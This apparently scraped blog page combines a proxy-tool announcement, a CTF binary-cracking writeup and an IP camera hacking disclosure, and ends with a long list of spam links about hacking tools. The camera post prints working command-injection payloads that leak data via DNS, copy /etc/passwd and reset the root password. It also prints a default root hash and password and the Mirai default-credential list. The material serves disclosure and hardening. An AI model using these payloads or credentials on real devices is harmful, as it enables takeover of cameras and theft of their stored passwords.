miércoles, mayo 31, 2023

Multi-Protocol Proxy Over TCP & UDP

Many years ago I programed a console based multi protocol proxy (the sha0proxy) lately I created in dotnet a graphical verison of the tool, but due to the form referesh speed finally I implemented it in C++ with Qt.

This tool useful for reversing, exploiting & pentesting was finally called rproxy, and its a multi-protocol proxy over TCP or UDP.





Being in the middle of the communication you can view and modify the bytes before being sent to the client or server.

In the tools tab right now its possible to open the blob on radare2 for further reversing of the data structures or code.


A basic mutation based fuzzer is implemented for bug-hunting, just set the % ratio of mutation and the bytes will be modified during specific communications phase.

One of the powerful things of this tool is the scripting, it is possible to automate a modification in specific moment of the traffic flow.



For example a script with a single line: "IN 3 20 3F" will write a 0x3f on the offset 20 only on the third packet received from the server. I have used this feature for triggering vulnerabilities.

Regarding the saving and loading data from disk, it's possible to save and load data in raw and hex formats. Also can be configured for save all the communications or only specific emission.


Find the source code and binaries at github: https://github.com/sha0coder/reproxy



More articles

NcN 2015 CTF - theAnswer Writeup


1. Overview

Is an elf32 static and stripped binary, but the good news is that it was compiled with gcc and it will not have shitty runtimes and libs to fingerprint, just the libc ... and libprhrhead
This binary is writed by Ricardo J Rodrigez

When it's executed, it seems that is computing the flag:


But this process never ends .... let's see what strace say:


There is a thread deadlock, maybe the start point can be looking in IDA the xrefs of 0x403a85
Maybe we can think about an encrypted flag that is not decrypting because of the lock.

This can be solved in two ways:

  • static: understanding the cryptosystem and programming our own decryptor
  • dynamic: fixing the the binary and running it (hard: antidebug, futex, rands ...)


At first sight I thought that dynamic approach were quicker, but it turned more complex than the static approach.


2. Static approach

Crawling the xrefs to the futex, it is possible to locate the main:



With libc/libpthread function fingerprinting or a bit of manual work, we have the symbols, here is the main, where 255 threads are created and joined, when the threads end, the xor key is calculated and it calls the print_flag:



The code of the thread is passed to the libc_pthread_create, IDA recognize this area as data but can be selected as code and function.

This is the thread code decompiled, where we can observe two infinite loops for ptrace detection and preload (although is static) this antidebug/antihook are easy to detect at this point.


we have to observe the important thing, is the key random?? well, with the same seed the random sequence will be the same, then the key is "hidden" in the predictability of the random.

If the threads are not executed on the creation order, the key will be wrong because is xored with the th_id which is the identify of current thread.

The print_key function, do the xor between the key and the flag_cyphertext byte by byte.


And here we have the seed and the first bytes of the cypher-text:



With radare we can convert this to a c variable quickly:


And here is the flag cyphertext:


And with some radare magics, we have the c initialized array:


radare, is full featured :)

With a bit of rand() calibration here is the solution ...



The code:
https://github.com/NocONName/CTF_NcN2k15/blob/master/theAnswer/solution.c





3. The Dynamic Approach

First we have to patch the anti-debugs, on beginning of the thread there is two evident anti-debugs (well anti preload hook and anti ptrace debugging) the infinite loop also makes the anti-debug more evident:



There are also a third anti-debug, a bit more silent, if detects a debugger trough the first available descriptor, and here comes the fucking part, don't crash the execution, the execution continues but the seed is modified a bit, then the decryption key will not be ok.





Ok, the seed is incremented by one, this could be a normal program feature, but this is only triggered if the fileno(open("/","r")) > 3 this is a well known anti-debug, that also can be seen from a traced execution.

Ok, just one byte patch,  seed+=1  to  seed+=0,   (add eax, 1   to add eax, 0)

before:


after:



To patch the two infinite loops, just nop the two bytes of each jmp $-0



Ok, but repairing this binary is harder than building a decryptor, we need to fix more things:

  •  The sleep(randInt(1,3)) of the beginning of the thread to execute the threads in the correct order
  •  Modify the pthread_cond_wait to avoid the futex()
  • We also need to calibrate de rand() to get the key (just patch the sleep and add other rand() before the pthread_create loop
Adding the extra rand() can be done with a patch because from gdb is not possible to make a call rand() in this binary.

With this modifications, the binary will print the key by itself. 

More articles

martes, mayo 30, 2023

How I Hacked My IP Camera, And Found This Backdoor Account

The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the most affordable among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first, I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems



I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch its output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course. 

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password are sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in 
"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong - user.ipcam.hk/user.easyn.hk - and China - op2.easyn.cn/op3.easyn.cn. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud, the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.
PORT     STATE SERVICE    VERSION 23/tcp   open  telnet     BusyBox telnetd 81/tcp   open  http       GoAhead-Webs httpd | http-auth:  | HTTP/1.1 401 Unauthorized |_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81 |_http-methods: No Allow or Public header in OPTIONS response (status code 400) |_http-title: Document Error: Unauthorized 8600/tcp open  tcpwrapped 
The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27-page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double-blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.
But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:
$(ping%20-c%202%20%60pwd%60)
or cleaning up after URL decode:
$(ping -c 2 `pwd`)
but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.
$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name $(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row $(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters $(ping `cat /tmp/c`)           ;leak it via DNS 
After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.



But after spending way too much time without progress, I finally found the password to Open Sesame.
$(echo 'root:passwd'|chpasswd)
Now, logging in via telnet
(none) login: root Password:  BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. #  
Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh /system/system/bin/ftp -n<<! open ftp.site.com 21 user ftpuser $(echo 'root:passwd'|chpasswd) binary mkdir  PSD-111111-REDACT cd PSD-111111-REDACT lcd /tmp put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg close bye 

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password. 

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.



It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.
With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising. 

My hardening list

I added these lines to the end of /system/init/ipcam.sh:
sleep 15 echo 'root:CorrectHorseBatteryRedStaple'|chpasswd 
Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh
iptables -A OUTPUT -p udp ! --dport 53 -j DROP
 
You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

  • Investigate the script /system/system/bin/gmail_thread
  • Investigate the cloud protocol * - see update 2016 10 27
  • Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn
A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump. 

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.


When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this. 

Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root     xc3511
root     vizxv
root     admin
admin    admin
root     888888
root     xmhdipc
root     default
root     juantech
root     123456
root     54321
support  support
root     (none)
admin    password
root     root
root     12345
user     user
admin    (none)
root     pass
admin    admin1234
root     1111
admin    smcadmin
admin    1111
root     666666
root     password
root     1234
root     klv123
Administrator admin
service  service
supervisor supervisor
guest    guest
guest    12345
guest    12345
admin1   password
administrator 1234
666666   666666
888888   888888
ubnt     ubnt
root     klv1234
root     Zte521
root     hi3518
root     jvbzd
root     anko
root     zlxx.
root     7ujMko0vizxv
root     7ujMko0admin
root     system
root     ikwb
root     dreambox
root     user
root     realtek
root     00000000
admin    1111111
admin    1234
admin    12345
admin    54321
admin    123456
admin    7ujMko0admin
admin    1234
admin    pass
admin    meinsm
tech     tech
mother   fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),
which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

Update 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/


More information


  1. Pentest Tools Free
  2. Hacking Tools Github
  3. Hacking Tools For Windows 7
  4. Pentest Tools Website Vulnerability
  5. Hacking Tools Free Download
  6. Pentest Tools Website Vulnerability
  7. Top Pentest Tools
  8. World No 1 Hacker Software
  9. Hackers Toolbox
  10. Hacking Tools 2019
  11. Pentest Tools For Ubuntu
  12. Beginner Hacker Tools
  13. Physical Pentest Tools
  14. Pentest Tools Tcp Port Scanner
  15. Hack Website Online Tool
  16. Hacker Tools Apk Download
  17. Hacking Tools Name
  18. Hacker Search Tools
  19. Pentest Tools Tcp Port Scanner
  20. Hak5 Tools
  21. Pentest Tools For Ubuntu
  22. Hacking Tools Pc
  23. Hack Tools
  24. Hacker Security Tools
  25. Hacker Tools 2020
  26. Pentest Recon Tools
  27. Hacking Tools 2019
  28. Hacker Tools For Ios
  29. Pentest Tools Tcp Port Scanner
  30. Hacker Tool Kit
  31. What Is Hacking Tools
  32. Pentest Tools Framework
  33. Hacker Tools Linux
  34. Pentest Tools List
  35. Hacking Tools Pc
  36. Hacker Search Tools
  37. Hack Tools
  38. Pentest Tools For Windows
  39. Pentest Tools For Windows
  40. Hack Tools For Mac
  41. Game Hacking
  42. Github Hacking Tools
  43. Hacking App
  44. Hacking Tools For Pc
  45. Hacker Tools Mac
  46. Hack Tools For Mac
  47. Bluetooth Hacking Tools Kali
  48. Blackhat Hacker Tools
  49. Hacking Tools Windows
  50. Github Hacking Tools
  51. Hacking Apps
  52. Hacking Tools Software
  53. Hacking App
  54. Pentest Tools Framework
  55. Hacker Tools Hardware
  56. Pentest Tools Linux
  57. Hacking Tools Kit
  58. Hackers Toolbox
  59. Hacking Tools Windows 10
  60. Tools 4 Hack
  61. Hack Tools
  62. Pentest Tools Tcp Port Scanner
  63. Hack Website Online Tool
  64. Hacker Tools List
  65. Easy Hack Tools
  66. Physical Pentest Tools
  67. How To Install Pentest Tools In Ubuntu
  68. Tools For Hacker
  69. Hacking Tools Download
  70. Hacking Tools Software
  71. What Is Hacking Tools
  72. Hacking Tools Online
  73. Pentest Tools For Windows
  74. Hack App
  75. Kik Hack Tools
  76. Hacking Tools For Pc
  77. Hacking Tools Hardware
  78. Hacker Tool Kit
  79. Free Pentest Tools For Windows
  80. Hacks And Tools
  81. Hacking Tools For Windows Free Download
  82. What Are Hacking Tools
  83. Android Hack Tools Github
  84. Pentest Tools Find Subdomains
  85. Hacking Tools Kit
  86. Hacker Tools For Mac
  87. Game Hacking

Memoryze


"MANDIANT Memoryze is free memory forensic software that helps incident responders find evil in live memory. Memoryze can acquire and/or analyze memory images, and on live systems can include the paging file in its analysis." read more...

Download: http://fred.mandiant.com/MemoryzeSetup.msi

More information